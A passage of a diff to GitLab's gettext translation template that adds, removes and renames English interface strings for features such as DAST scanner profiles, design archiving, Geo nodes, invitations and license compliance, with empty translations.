+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr ""
@@ -7030,6 +7197,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7090,6 +7263,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7357,6 +7536,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,10 +8045,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10895,30 +11223,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10934,12 +11247,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10967,12 +11274,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12341,6 +12639,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,13 +13123,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,7 +13353,7 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,7 +14217,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
